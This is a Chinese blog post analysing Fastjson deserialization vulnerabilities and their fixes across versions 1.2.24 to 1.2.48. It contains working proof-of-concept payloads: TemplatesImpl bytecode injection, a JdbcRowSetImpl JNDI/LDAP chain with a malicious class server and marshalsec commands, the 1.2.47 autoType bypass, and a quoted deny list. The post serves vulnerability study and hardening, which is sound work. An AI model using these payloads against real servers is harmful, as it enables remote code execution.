Fastjson历史漏洞分析

0x00 初识Fastjson

前段时间分析了一下Fastjson的历史漏洞,在这里做下记录。
1、为了方便切换Fastjson的版本,我用idea新建了一个maven项目,在pom.xml中引入Fastjson:

<dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
</dependencies>

2、感受下Fastjson的用法,先创建个简单的JavaBean如下:

public class User {
    private String name;

    public String getName() {
        System.out.println("getName is running ...");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName is running ...");
        this.name = name;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                '}';
    }
}

3、在下面用Fastjson去将json数据反序列化为对象:

public class Test {
    public static void main(String[] args) {
        String json = "{\"@type\":\"com.hldf.fsvt.User\", \"name\":\"zhangsan\"}";
        Object obj = JSON.parse(json);
        System.out.println(obj); //输出User{name='zhangsan'}
    }
}

上面代码中输出的是一个Object类型的对象,但是从输出结果中看到该Object对象已经被解析为了User类型的对象。这就是json数据中的@type属性起的作用,
Fastjson支持在json数据中使用@type属性指定该json数据被反序列为什么类型的对象
同时控制台也输出了 setName is running … ,
说明在反序列化对象时,会执行javabean的setter方法为其属性赋值

0x01 漏洞原理

继续使用上面的代码,通过设置断点,找到了调用javabean的setter方法的地方:
com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(Object object, Object value):
在这里插入图片描述
在这里插入图片描述
在该方法中可以得出如下结论:
1、fileldinfo类中包含javabean的属性名称及其setter、getter等Method对象,然后通过反射的方式调用setter方法为属性赋值。
2、当javabean中存在属性为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection类型,且fieldinfo.getOnly值为true时(当javabean的属性没有setter方法,只有getter方法时,该值为true),在反序列化时会调用该属性的getter方法。
因此在User类中添加一个Properties类型(Properties属于Map类型)的属性进行测试:
User类如下:

public class User {
    private Properties properties;

    private String name;

    public String getName() {
        System.out.println("getName is running ...");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName is running ...");
        this.name = name;
    }

    public Properties getProperties() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
        return properties;
    }
}

Test类如下:

public class Test {
    public static void main(String[] args) {
        String json = "{\"@type\":\"com.hldf.tools.User\", \"name\":\"zhangsan\", \"properties\":{}}";
        Object obj = JSON.parse(json);
        System.out.println(obj);
    }
}

当运行以上main方法时,会弹出计算器。如果在User类中为properties属性添加setter方法后,反序列化时只会调用setter方法,不会调用getter方法,因为fieldinfo.getOnly值为false。
通过上面的分析,就可以寻找恶意类了,有以下两种思路:
1、通过属性的getter方法触发gadgets链造成代码执行,但该属性不能有setter方法,且该属性必须为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection其中一种类型。
2、通过属性的setter方法触发gadgets链造成代码执行。

0x02 POC分析

分析了网上一些公开的poc,利用原理也可以根据上面的两个思路分为两类:

2.1 通过getter方法触发gadgets:

下面是我的测试代码,测试用的payload只能在Fastjson1.2.24版本使用:
1、TemplatesImplTest类如下:

public class TemplatesImplTest {
    public static void main(String[] args) throws Exception {
        String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        //获取Exec类的字节码
        String bytecode = FileTool.getEvil(Class.forName("com.hldf.tools.Exec"));
        String json = "{\"@type\":\"" + className + "\"," +
                "\"_bytecodes\":[\"" + bytecode + "\"]," +
                "'_name':''," +
                "'_tfactory':{}," +
                "\"_outputProperties\":{}," +
                "\"_name\":\"\"," +
                "\"_version\":\"\"," +
                "\"allowedProtocols\":\"\"}";
        System.out.println(json);
        //设置反序列化时对类的私有属性进行赋值
        JSON.parse(json, Feature.SupportNonPublicField);
    }
}

2、下面是我写的一个工具类,通过Class对象获取其字节码:

public class FileTool {
    //获取Class对象的字节码,并进行Base64编码
    public static String getEvil(Class clazz) throws Exception{
        InputStream inputStream = FileTool.class.getResourceAsStream("/" + clazz.getName().replaceAll("\\.", "/")+".class");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        while(inputStream.available()>0) {
            byteArrayOutputStream.write(inputStream.read());
        }
        String res = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        return res;
    }
}

3、com.hldf.tools.Exec类如下:

public class Exec extends AbstractTranslet {
    public Exec() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

通过调试分析出了gadgets链,不是很复杂,这里就不贴图了,简单描述一下:
当反序列化com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类时, 由于_outputProperties 属性是Map类型,且该属性只有getter方法,没有setter方法,因此会有如下调用链:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties
() --> newTransformer() --> getTransletInstance() --> defineTransletClasses(),到了这里,会读取_bytecodes[] 属性中的字节码,并判断如果该字节码对应类的父类是AbstractTranslet类,则会调用newInstance()方法实例化该类的对象,该方法是通过调用类的无参构造函数实例化对象的,因此就会执行上面的com.hldf.tools.Exec类中的无参构造函数中的命令。
虽然上面的测试代码中给_bytecodes属性传入的字节码是经过base64编码的,但在defineTransletClasses()方法中加载字节码之前,在com.alibaba.fastjson.parser.JSONScanner.bytesValue() 方法中,已经将其进行了解码 。

2.2 通过setter方法触发gadgets:

通过setter方法触发gadgets的方式,大都是基于jndi注入的,这里就以com.sun.rowset.JdbcRowSetImpl为例:
下面是测试类代码:

public class JdbcRowSetImplTest {
    public static void main(String[] args) {
        String className = "com.sun.rowset.JdbcRowSetImpl";
        //ldap服务地址
        String dataSourceName = "ldap://127.0.0.1:1099/XX";
        String json = "{\"@type\":\"" + className + "\"," +
                "\"dataSourceName\":\"" + dataSourceName + "\"," +
                "\"autoCommit\":true" +
                "}";
        JSON.parse(json, Feature.SupportNonPublicField);
    }
}

同样,gadgets链很简单,就不截图了。
在对com.sun.rowset.JdbcRowSetImpl类反序列化时,会先执行dataSourceName属性的setter方法,给dataSourceName属性赋值为ldap://127.0.0.1:1099/XX,然后执行autoCommit属性的setter方法,有如下调用链:
setAutoCommit() --> connect() --> ctx.lookup(getDataSourceName())。
这样就造成了jndi注入。这时漏洞服务器会去请求ldap://127.0.0.1:1099/XX,用marshalsec启动一个ldap服务,如下:在这里插入图片描述
漏洞服务器获取ldap的响应后,将会从http://127.0.0.1:80/地址去加载com.hldf.tools.Exec类,为了方便,我是用java代码启动了一个http服务来提供Exec的字节码,代码如下:

public class HttpTool {
    //开启一个http服务,并根据请求地址返回对应类的字节码,如请求/com/Test,则返回com.Test类的字节码
    public static void main(String[] args) throws IOException {
        System.out.println("Starting HTTP server");
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(80), 0);
        httpServer.createContext("/", new HttpHandler() {
            @Override
            public void handle(HttpExchange httpExchange) throws IOException {
                try {
                    System.out.println("new http request from "+httpExchange.getRemoteAddress()+" "+httpExchange.getRequestURI());
                    InputStream inputStream = HttpTool.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
                    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                    while(inputStream.available()>0) {
                        byteArrayOutputStream.write(inputStream.read());
                    }

                    byte[] bytes = byteArrayOutputStream.toByteArray();
                    httpExchange.sendResponseHeaders(200, bytes.length);
                    httpExchange.getResponseBody().write(bytes);
                    httpExchange.close();
                } catch(Exception e) {
                    e.printStackTrace();
                }
            }
        });
        httpServer.setExecutor(null);
        httpServer.start();
    }
}

这时http请求的url为http://127.0.0.1:80/com/hldf/tools/Exec.class,该http服务就会响应com.hldf.tools.Exec类的字节码。测试时,com.hldf.tools.Exec类代码还是2.1中贴出的代码,在创建Exec类的对象时,就造成了命令执行。
这里jndi注入原理没有深入解释,后面有时间再介绍。

0x03 修复历史

3.1 Fastjson1.2.25

Fastjson1.2.24爆出第一个反序列化漏洞后,在Fastjson1.2.25进行了修复。
修改测试项目pom.xml配置中的Fastjson版本为1.2.25后,运行JdbcRowSetImplTest的main方法,会有如下错误:
在这里插入图片描述
于是进入checkAutoType方法查看,发现添加了如下黑名单,看着很全面:

String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
      

下图中红框部分就是在判断@type属性值是否在黑名单里,如果在黑名单直接抛出异常:
在这里插入图片描述
如果@type值不在黑名单时,且autoTypeSupport属性值为true时,就会用如下方法加载该类:
在这里插入图片描述
进入com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)方法可以看到,当类名以“[”开头,或者以“L”开头“;”结尾,也是可以加载该类的:
在这里插入图片描述
因此Fastjson1.2.25的绕过方式就是让@type属性值以“L”开头,“;”结尾,如:Lcom.sun.rowset.JdbcRowSetImpl;”,
前提是服务端autoTypeSupport属性值为true。但是autoTypeSupport从1.2.25开始就默认是false了,因此漏洞利用还是有一定限制。
从上面可以看到如果@type属性值以“[”开头也是可以成功加载类的,但是如果@type属性值设置成“[com.sun.rowset.JdbcRowSetImpl”方式会导致解析json数据时出现语法错误。

3.2 Fastjson1.2.42

最终在Fastjson1.2.42中,修复了上述绕过手段,如下图所示,在与黑名单进行比较之前就去除了类名中的“L”与“;”。
在这里插入图片描述

3.3 Fastjson1.2.48

3.3.1 Fastjson1.2.48中修复的绕过方式

上面讲到的小于1.2.42版本的绕过方式,其在实际利用上还是有一定限制的,因为服务端autoTypeSupport属性必须为true。但是在1.2.48版本中修复的这种绕过方式,是不受autoTypeSupport属性限制的,因此危害很大。
1、首先修改pom.xml中的Fastjson版本为1.2.47
2、仍然以com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类为例进行测试,poc如下:

{"XXX":{"@type":"java.lang.Class","val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},"XXX":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64编码的恶意类字节码"],"_name":"","_tfactory":{},"_outputProperties":{},"_name":"","_version":"","allowedProtocols":""}} 

Fastjson解析该json时,先解析第一部分json:

{"@type":"java.lang.Class","val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"}

再解析第二部分json,该部分其实就是之前使用的poc:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64编码的恶意类字节码"],"_name":"","_tfactory":{},"_outputProperties":{},"_name":"","_version":"","allowedProtocols":""}

所以是Fastjson在解析第一部分json数据时,帮助com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类绕过了黑名单检测。
3、修改2.1节中TemplatesImplTest类的json数据为上面的poc,调试代码分析一下:

public class TemplatesImplTest2 {
    public static void main(String[] args) throws Exception {
        String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        //获取Exec类的字节码
        String bytecode = FileTool.getEvil(Class.forName("com.hldf.tools.Exec"));
        String json = "{" +
                "\"xxx\":{\"@type\":\"java.lang.Class\",\"val\":\"" + className + "\"}," +
                "\"xxx\":{" +
                "{\"@type\":\"" + className + "\"," +
                "\"_bytecodes\":[\"" + bytecode + "\"]," +
                "'_name':''," +
                "'_tfactory':{}," +
                "\"_outputProperties\":{}," +
                "\"_name\":\"\"," +
                "\"_version\":\"\"," +
                "\"allowedProtocols\":\"\"" +
                "}" +
                "}";
        System.out.println(json);
        //设置反序列化时对类的私有属性进行赋值
        JSON.parse(json, Feature.SupportNonPublicField);
    }
}

4、首先进入checkAutoType方法:
在这里插入图片描述
5、然后到了这里,该方法就是在一个Map对象里面查找有没有类名为typeName的类,调试后发现是可以查到的,因此这里会直接获取到一个java.lang.Class的对象:
在这里插入图片描述
6、获取java.lang.Class对象后,checkAutoType方法就会把该对象返回
在这里插入图片描述
7、然后会有如下调用栈:
在这里插入图片描述
8、最终进入到com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)方法,可以看到下图红框中cache值为true,于是就将json数据中的val字段值及其Class对象put进入了com.alibaba.fastjson.util.TypeUtils的mappings对象,也正是这个操作导致了后面的绕过:
在这里插入图片描述
9、将断点直接运行到解析第二部分json数据时的checkAutoType方法如下地方:
在这里插入图片描述
10、进入该方法,可以看到它其实就是在com.alibaba.fastjson.util.TypeUtils的mappings对象中查找是否有类名为className的类,上面第八步已经将com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类的类名及其Class对象给put进去了,因此成功获取到该类的Class对象:
在这里插入图片描述
11、然后checkAutoType方法就将获取到的Class对象返回,到这个地方为止,其实还没到黑名单校验的地方,因此导致的漏洞产生。

3.3.2 Fastjson1.2.48中的修复

Fastjson对以上绕过的修复方式很简单,在调用com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)方法时,将cache的值默认修改为了false,从而防止在com.alibaba.fastjson.util.TypeUtils的mappings对象中添加恶意类。
在这里插入图片描述

3.4 JNDI Reference + RMI攻击

在JDK6u141、JDK7u131、JDK8u121版本之后,已经无法使用以下方式攻击Fastjson,因为com.sun.jndi.rmi.object.trustURLCodebase的默认值变为了false,即默认不允许通过RMI远程加载Reference类。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
http://127.0.0.1:80/#com.hldf.tools.Exec

3.5 JNDI Reference + LDAP攻击

在JDK 11.0.1、8u191、7u201、6u211版本之后,也无法使用如下方式攻击Fastjson,因为com.sun.jndi.ldap.object.trustURLCodebase默认值变为了false,即默认不允许通过LDAP远程加载Reference类。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://127.0.0.1:80/#com.hldf.tools.Exec

4 总结

1、Fastjson的autoTypeSupport属性值从Fastjson1.2.25开始默认就是false,在不设置autoTypeSupport属性值为true的情况下,只能通过白名单方式添加Fastjson可信任的反序列化类,因此采用这种方式风险很小。
2、autoTypeSupport属性值设置为true时,虽然在checkAutoType方法中会有黑名单校验,但是一旦发现了不在黑名单的可利用的类仍然存在被攻击风险。因此不建议开发者开启autoTypeSupport属性。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值